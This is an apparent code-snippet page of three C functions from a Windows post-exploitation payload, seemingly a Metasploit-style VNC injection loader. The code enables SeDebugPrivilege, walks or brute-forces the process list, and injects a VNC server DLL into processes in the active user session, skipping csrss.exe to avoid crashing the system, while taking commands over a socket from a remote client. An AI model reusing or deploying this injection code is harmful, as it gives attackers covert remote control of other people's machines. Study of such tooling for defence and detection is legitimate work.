示例#1
0
/*
 * On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available.
 */
DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer )
{
	DWORD dwResult = ERROR_INVALID_HANDLE;
	DWORD pid      = 0;

	do
	{
		for( pid=0 ; pid<0xFFFF ; pid++ )
		{
			HANDLE hProcess = NULL;

			hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid );
			if( !hProcess )
				continue;

			CloseHandle( hProcess );

			if( dwSessionId == session_id( pid ) )
			{
				dwResult = ps_inject( pid, pDllBuffer );
				if( dwResult == ERROR_SUCCESS )
				{
					dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid );
					break;
				}
			}
		}

	} while( 0 );

	return dwResult;
}
示例#2
0
/*
 * Entry Point.
 */
DWORD Init( SOCKET s )
{
	DWORD dwResult              = ERROR_SUCCESS;
	BOOL bTerminate             = FALSE;
	HANDLE hMessageThread       = NULL;
	DLL_BUFFER VncDllBuffer     = {0};  
	char cCommandLine[MAX_PATH] = {0};
	DWORD dwHostSessionId       = 0;
	DWORD dwActiveSessionId     = 0;
	DWORD dwAgentSessionId      = 0xFFFFFFFF;
	BYTE bFlags                 = 0;

	__try
	{
		do
		{
			// We maintain state for the rfb stream so as not to desynchronize the remote
			// client after session switching and the injection of multiple agents server side.
			context_init();

			sock = s;
			if( sock == INVALID_SOCKET )
				BREAK_WITH_ERROR( "[LOADER] Init. INVALID_SOCKET", ERROR_INVALID_PARAMETER );
			
			if( recv( sock, (char *)&bFlags, 1, 0 ) == SOCKET_ERROR )
				BREAK_ON_WSAERROR( "[LOADER] Init. recv bFlags failed" );

			if( bFlags & VNCFLAG_DISABLECOURTESYSHELL )
				AgentContext.bDisableCourtesyShell = TRUE;

			if( bFlags & VNCFLAG_DISABLESESSIONTRACKING )
				bDisableSessionTracking = TRUE;

			dprintf( "[LOADER] Init. Starting, hAppInstance=0x%08X, sock=%d, bFlags=%d", hAppInstance, sock, bFlags );

			// get the vnc dll we will inject into the active session
			if( loader_vncdll( &VncDllBuffer ) != ERROR_SUCCESS )
				BREAK_ON_ERROR( "[LOADER] Init. loader_vncdll failed" );

			// create a socket event and have it signaled on FD_CLOSE
			hSocketCloseEvent = WSACreateEvent();
			if( hSocketCloseEvent == WSA_INVALID_EVENT )
				BREAK_ON_WSAERROR( "[LOADER] Init. WSACreateEvent failed" );

			if( WSAEventSelect( sock, hSocketCloseEvent, FD_CLOSE ) == SOCKET_ERROR )
				BREAK_ON_WSAERROR( "[LOADER] Init. WSAEventSelect failed" );

			// get the session id that our host process belongs to
			dwHostSessionId = session_id( GetCurrentProcessId() );

			hMessageThread = CreateThread( NULL, 0, context_message_thread, NULL, 0, NULL );
			if( !hMessageThread )
				BREAK_ON_ERROR( "[LOADER] Init. CreateThread context_message_thread failed" );

			// loop untill the remote client closes the connection, creating a vnc
			// server agent inside the active session upon the active session changing
			while( !bTerminate )
			{
				// in case we have been waiting for a session to attach to the physical  
				// console and the remote client has quit, we detect this here...
				if( WaitForSingleObject( hSocketCloseEvent, 0 ) == WAIT_OBJECT_0 )
				{
					dprintf( "[LOADER] Init. Remote socket closed, terminating1..." );
					break;
				}

				// get the session id for the interactive session
				dwActiveSessionId = session_activeid();
			
				// test if there is no session currently attached to the physical console...
				if( dwActiveSessionId == 0xFFFFFFFF )
				{
					dprintf( "[LOADER] Init. no session currently attached to the physical console..." );
					// just try to wait it out...
					Sleep( 250 );
					continue;
				}
				else if( dwActiveSessionId == dwAgentSessionId )
				{
					dprintf( "[LOADER] Init. dwActiveSessionId == dwAgentSessionId..." );
					// just try to wait it out...
					Sleep( 250 );
					continue;
				}

				// do the local process or session injection
				if( dwHostSessionId != dwActiveSessionId )
				{
					dprintf( "[LOADER] Init. Injecting into active session %d...", dwActiveSessionId );
					if( session_inject( dwActiveSessionId, &VncDllBuffer ) != ERROR_SUCCESS )
						BREAK_WITH_ERROR( "[LOADER] Init. session_inject failed", ERROR_ACCESS_DENIED );
				}
				else
				{
					dprintf( "[LOADER] Init. Allready in the active session %d.", dwActiveSessionId );
					if( ps_inject( GetCurrentProcessId(), &VncDllBuffer ) != ERROR_SUCCESS  )
						BREAK_WITH_ERROR( "[LOADER] Init. ps_inject current process failed", ERROR_ACCESS_DENIED );
				}
				
				dwAgentSessionId = dwActiveSessionId;

				// loop, waiting for either the agents process to die, the remote socket to die or
				// the active session to change...
				while( TRUE )
				{
					HANDLE hEvents[2]  = {0};
					DWORD dwWaitResult = 0;

					// wait for these event to be signaled or a timeout to occur...
					hEvents[0]   = hSocketCloseEvent;
					hEvents[1]   = hAgentProcess;
					dwWaitResult = WaitForMultipleObjects( 2, (HANDLE *)&hEvents, FALSE, 250 );
					
					// bail if we have somehow failed (e.g. invalid handle)
					if( dwWaitResult == WAIT_FAILED )
					{
						dprintf( "[LOADER] Init. WaitForMultipleObjects failed." );
						// if we cant synchronize we bail out...
						bTerminate = TRUE;
						break;
					}
					// if we have just timedout, test the current active session...
					else if( dwWaitResult == WAIT_TIMEOUT )
					{
						// if the agent is still in the active session just continue...
						if( dwAgentSessionId == session_activeid() )
							continue;
						// if we are not to perform session tracking try and stay in the current session (as it might become the active input session at a later stage)
						if( bDisableSessionTracking )
						{
							dprintf( "[LOADER] Init. Active session has changed, trying to stay in current session as session tracking disabled..." );
							Sleep( 500 );
							continue;
						}
						// if the agent is no longer in the active session we signal the agent to terminate
						if( !ReleaseMutex( hAgentCloseEvent ) )
							dprintf( "[LOADER] Init. ReleaseMutex 1 hAgentCloseEvent failed. error=%d", GetLastError() );							
						dprintf( "[LOADER] Init. Active session has changed. Moving agent into new session..." );
						dwAgentSessionId = 0xFFFFFFFF;
						// and we go inject a new agent into the new active session (or terminate if session tracking disabled)
						loader_agent_close();
						break;
					}
					// sanity check the result for an abandoned mutex
					else if( (dwWaitResult >= WAIT_ABANDONED_0) && (dwWaitResult <= (WAIT_ABANDONED_0 + 1)) )
					{
						dprintf( "[LOADER] Init. WAIT_ABANDONED_0 for %d", dwWaitResult - WAIT_ABANDONED_0 );
						bTerminate = TRUE;
						break;
					}
					else
					{
						// otherwise if we have an event signaled, handle it
						switch( dwWaitResult - WAIT_OBJECT_0 )
						{
							case 0:
								dprintf( "[LOADER] Init. Remote socket closed, terminating2..." );
								bTerminate = TRUE;
								if( !ReleaseMutex( hAgentCloseEvent ) )
									dprintf( "[LOADER] Init. ReleaseMutex 2 hAgentCloseEvent failed. error=%d", GetLastError() );
								ReleaseMutex( hAgentCloseEvent );
								break;
							case 1:
								dprintf( "[LOADER] Init. Injected agent's process has terminated..." );
								loader_agent_close();
								dwAgentSessionId = 0xFFFFFFFF;
								break;
							default:
								dprintf( "[LOADER] Init. WaitForMultipleObjects returned dwWaitResult=0x%08X", dwWaitResult );
								bTerminate = TRUE;
								if( !ReleaseMutex( hAgentCloseEvent ) )
									dprintf( "[LOADER] Init. ReleaseMutex 3 hAgentCloseEvent failed. error=%d", GetLastError() );
								break;
						}
					}

					// get out of this loop...
					break;
				}

			}

		} while( 0 );
	
		CLOSE_HANDLE( hSocketCloseEvent );

		loader_agent_close();

		closesocket( sock );

		if( hMessageThread )
			TerminateThread( hMessageThread, 0 );
	}
	__except( EXCEPTION_EXECUTE_HANDLER )
	{
		dprintf( "[LOADER] Init. EXCEPTION_EXECUTE_HANDLER\n\n" );
	}

	dprintf( "[LOADER] Init. Finished." );

	return dwResult;
}
示例#3
0
/*
 * Inject an arbitrary DLL into a process running in specific Windows session.
 */
DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer )
{
	DWORD dwResult                                     = ERROR_INVALID_HANDLE;
	CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL;
	PROCESS32FIRST pProcess32First                     = NULL;
	PROCESS32NEXT pProcess32Next                       = NULL;
	HANDLE hProcessSnap                                = NULL;
	HMODULE hKernel                                    = NULL;
	HANDLE hToken                                      = NULL;
	BOOL bUseBruteForce                                = TRUE;
	PROCESSENTRY32 pe32                                = {0};

	do
	{
		// If we can, get SeDebugPrivilege...
		if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
		{
			TOKEN_PRIVILEGES priv = {0};

			priv.PrivilegeCount           = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			
			if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
			{
				if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) );
					dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" );
			}

			CloseHandle( hToken );
		}

		hKernel = LoadLibraryA( "kernel32" );
		if( !hKernel )
			break;

		pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" );
		pProcess32First           = (PROCESS32FIRST)GetProcAddress( hKernel, "Process32First" );
		pProcess32Next            = (PROCESS32NEXT)GetProcAddress( hKernel, "Process32Next" );

		if( !pCreateToolhelp32Snapshot || !pProcess32First || !pProcess32Next )
			break;

		hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
		if( hProcessSnap == INVALID_HANDLE_VALUE )
			break;

		pe32.dwSize = sizeof( PROCESSENTRY32 );

		if( !pProcess32First( hProcessSnap, &pe32 ) )
			break;
				
		bUseBruteForce = FALSE;
		
		do
		{
			if( dwSessionId == session_id( pe32.th32ProcessID ) )
			{
				// On Windows 2008R2 we Blue Screen the box if we inject via APC injection 
				// into the target sessions instance of csrss.exe!!! so we filter it out...
				if( strstr( pe32.szExeFile, "csrss.exe" ) )
					continue;
				//if( strstr( pe32.szExeFile, "winlogon.exe" ) )
				//	continue;
				//if( !strstr( pe32.szExeFile, "winlogon.exe" ) )
				//	continue;


				//if( !strstr( pe32.szExeFile, "explorer.exe" ) )
				//	continue;
				//if( strstr( pe32.szExeFile, "TPAutoConnSvc.exe" ) )
				//	continue;

				dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer );
				if( dwResult == ERROR_SUCCESS )
				{
					dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile );
					break;
				}
			}
		} while( pProcess32Next( hProcessSnap, &pe32 ) );

	} while( 0 );

	if( hProcessSnap )
		CloseHandle( hProcessSnap );
	
	if( hKernel )
		FreeLibrary( hKernel );

	// On NT4 we must brute force the process list...
	if( bUseBruteForce )
		dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer );

	return dwResult;
}